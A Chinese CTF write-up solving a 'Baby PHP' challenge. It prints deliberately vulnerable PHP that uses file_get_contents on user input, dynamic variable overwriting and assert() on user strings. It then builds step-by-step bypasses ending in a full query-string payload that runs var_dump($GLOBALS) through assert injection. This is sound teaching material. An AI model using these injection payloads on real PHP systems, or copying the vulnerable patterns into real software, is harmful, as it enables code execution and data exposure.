某CTF的Baby PHP

主要考察PHP Trick

源码参上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

首先第一点

1
2
3
4
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

需要使用php://input,或者是data://text/plain

php://iinput形如

1
2
3
4
GET /?msg=php://input HTTP/1.1
Host ****

Hello Challenge!

data://text/plain的话是构造

?msg=data://text/plain,Hello Challenge!

第二点

1
2
3
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

这里的$k1===$cc用的是三个等号进行比较,比较的两个变量要求类型一致,而PHP传参的时候是默认String类型的,所以$key1=1337即可

第三点

1
2
3
4
5
6
7
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

这里需要注意preg_match('/^\d+$/', $k2)中的是而非$,所以只要构造$key2=000000000000000000000000000000000001337%EF%BC%84即可绕过

第四点

1
2
3
4
5
6
7
8
9
10
11
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

传值cc[]=此时substr和sha1都会返回false,之后便是变量覆盖,再传参k1=2即可.

第五点

1
assert("$bb == $cc");

构造$bb=$GLOBALS;\\即可

所以最后的payload为

1
?msg=php://input&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=var_dump($GLOBALS);//